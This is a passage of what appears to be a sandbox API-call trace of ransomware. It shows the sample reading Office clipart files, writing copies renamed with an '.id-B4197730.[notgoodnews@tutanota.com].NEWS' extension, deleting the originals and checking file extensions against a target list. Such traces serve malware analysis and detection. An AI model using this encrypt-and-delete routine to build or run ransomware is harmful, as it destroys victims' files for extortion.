office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.519] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.519] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0091.520] GetLastError () returned 0x0 [0091.520] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x9114, lpOverlapped=0x0) returned 1 [0091.522] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x9120, lpOverlapped=0x0) returned 1 [0091.523] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.523] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.523] SetEndOfFile (hFile=0x308) returned 1 [0091.524] CloseHandle (hObject=0x308) returned 1 [0091.524] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.524] SetEndOfFile (hFile=0x354) returned 1 [0091.525] CloseHandle (hObject=0x354) returned 1 [0091.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0091.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0091.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0091.525] lstrlenW (lpString=".doc") returned 4 [0091.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.525] lstrlenW (lpString=".docx") returned 5 [0091.525] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0091.525] lstrlenW (lpString=".pdf") returned 4 [0091.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.526] lstrlenW (lpString=".xls") returned 4 [0091.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.526] lstrlenW (lpString=".xlsx") returned 5 [0091.526] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0091.526] lstrlenW (lpString=".ppt") returned 4 [0091.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0091.526] lstrlenW (lpString=".zip") returned 4 [0091.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.526] lstrlenW (lpString=".rar") returned 4 [0091.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.526] lstrlenW (lpString=".bz2") returned 4 [0091.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.526] lstrlenW (lpString=".7z") returned 3 [0091.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0091.526] lstrlenW (lpString=".dbf") returned 4 [0091.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0091.526] lstrlenW (lpString=".1cd") returned 4 [0091.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0091.526] lstrlenW (lpString=".jpg") returned 4 [0091.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0091.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0091.526] lstrlenW (lpString=".doc") returned 4 [0091.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.526] lstrlenW (lpString=".docx") returned 5 [0091.526] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0091.526] lstrlenW (lpString=".pdf") returned 4 [0091.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.526] lstrlenW (lpString=".xls") returned 4 [0091.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.527] lstrlenW (lpString=".xlsx") returned 5 [0091.527] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0091.527] lstrlenW (lpString=".ppt") returned 4 [0091.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0091.527] lstrlenW (lpString=".zip") returned 4 [0091.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.527] lstrlenW (lpString=".rar") returned 4 [0091.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.527] lstrlenW (lpString=".bz2") returned 4 [0091.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.527] lstrlenW (lpString=".7z") returned 3 [0091.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0091.527] lstrlenW (lpString=".dbf") returned 4 [0091.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0091.527] lstrlenW (lpString=".1cd") returned 4 [0091.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0091.527] lstrlenW (lpString=".jpg") returned 4 [0091.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.527] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.527] lstrlenW (lpString="J0099174.WMF") returned 12 [0091.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.528] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=6214) returned 1 [0091.528] CloseHandle (hObject=0x354) returned 1 [0091.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220 [0091.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.528] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.528] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0091.529] GetLastError () returned 0x0 [0091.529] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1846, lpOverlapped=0x0) returned 1 [0091.530] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1850, lpOverlapped=0x0) returned 1 [0091.531] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.531] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.531] SetEndOfFile (hFile=0x308) returned 1 [0091.531] CloseHandle (hObject=0x308) returned 1 [0091.532] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.532] SetEndOfFile (hFile=0x354) returned 1 [0091.532] CloseHandle (hObject=0x354) returned 1 [0091.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0091.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0091.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0091.533] lstrlenW (lpString=".doc") returned 4 [0091.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.533] lstrlenW (lpString=".docx") returned 5 [0091.533] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0091.533] lstrlenW (lpString=".pdf") returned 4 [0091.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.533] lstrlenW (lpString=".xls") returned 4 [0091.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.533] lstrlenW (lpString=".xlsx") returned 5 [0091.533] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0091.533] lstrlenW (lpString=".ppt") returned 4 [0091.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0091.533] lstrlenW (lpString=".zip") returned 4 [0091.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.533] lstrlenW (lpString=".rar") returned 4 [0091.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.533] lstrlenW (lpString=".bz2") returned 4 [0091.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.533] lstrlenW (lpString=".7z") returned 3 [0091.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0091.533] lstrlenW (lpString=".dbf") returned 4 [0091.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0091.534] lstrlenW (lpString=".1cd") returned 4 [0091.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0091.534] lstrlenW (lpString=".jpg") returned 4 [0091.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0091.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0091.534] lstrlenW (lpString=".doc") returned 4 [0091.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.534] lstrlenW (lpString=".docx") returned 5 [0091.534] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0091.534] lstrlenW (lpString=".pdf") returned 4 [0091.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.534] lstrlenW (lpString=".xls") returned 4 [0091.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.534] lstrlenW (lpString=".xlsx") returned 5 [0091.534] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0091.534] lstrlenW (lpString=".ppt") returned 4 [0091.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0091.534] lstrlenW (lpString=".zip") returned 4 [0091.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.534] lstrlenW (lpString=".rar") returned 4 [0091.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.534] lstrlenW (lpString=".bz2") returned 4 [0091.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.534] lstrlenW (lpString=".7z") returned 3 [0091.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0091.534] lstrlenW (lpString=".dbf") returned 4 [0091.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0091.534] lstrlenW (lpString=".1cd") returned 4 [0091.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0091.534] lstrlenW (lpString=".jpg") returned 4 [0091.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.535] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.535] lstrlenW (lpString="J0099175.WMF") returned 12 [0091.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.537] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=9744) returned 1 [0091.537] CloseHandle (hObject=0x354) returned 1 [0091.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220 [0091.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.537] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.537] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0091.538] GetLastError () returned 0x0 [0091.538] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2610, lpOverlapped=0x0) returned 1 [0091.539] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2620, lpOverlapped=0x0) returned 1 [0091.541] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.541] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.541] SetEndOfFile (hFile=0x308) returned 1 [0091.542] CloseHandle (hObject=0x308) returned 1 [0091.542] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.542] SetEndOfFile (hFile=0x354) returned 1 [0091.543] CloseHandle (hObject=0x354) returned 1 [0091.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0091.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0091.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0091.543] lstrlenW (lpString=".doc") returned 4 [0091.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.543] lstrlenW (lpString=".docx") returned 5 [0091.543] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0091.543] lstrlenW (lpString=".pdf") returned 4 [0091.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.543] lstrlenW (lpString=".xls") returned 4 [0091.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.543] lstrlenW (lpString=".xlsx") returned 5 [0091.543] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0091.543] lstrlenW (lpString=".ppt") returned 4 [0091.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0091.543] lstrlenW (lpString=".zip") returned 4 [0091.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.543] lstrlenW (lpString=".rar") returned 4 [0091.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.543] lstrlenW (lpString=".bz2") returned 4 [0091.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.544] lstrlenW (lpString=".7z") returned 3 [0091.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0091.544] lstrlenW (lpString=".dbf") returned 4 [0091.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0091.544] lstrlenW (lpString=".1cd") returned 4 [0091.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0091.544] lstrlenW (lpString=".jpg") returned 4 [0091.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0091.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0091.544] lstrlenW (lpString=".doc") returned 4 [0091.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.544] lstrlenW (lpString=".docx") returned 5 [0091.544] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0091.544] lstrlenW (lpString=".pdf") returned 4 [0091.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.544] lstrlenW (lpString=".xls") returned 4 [0091.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.544] lstrlenW (lpString=".xlsx") returned 5 [0091.544] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0091.544] lstrlenW (lpString=".ppt") returned 4 [0091.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0091.544] lstrlenW (lpString=".zip") returned 4 [0091.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.544] lstrlenW (lpString=".rar") returned 4 [0091.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.544] lstrlenW (lpString=".bz2") returned 4 [0091.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.544] lstrlenW (lpString=".7z") returned 3 [0091.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0091.544] lstrlenW (lpString=".dbf") returned 4 [0091.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0091.545] lstrlenW (lpString=".1cd") returned 4 [0091.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0091.545] lstrlenW (lpString=".jpg") returned 4 [0091.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.545] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.545] lstrlenW (lpString="J0099176.WMF") returned 12 [0091.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.545] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2488) returned 1 [0091.545] CloseHandle (hObject=0x354) returned 1 [0091.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220 [0091.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.546] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, 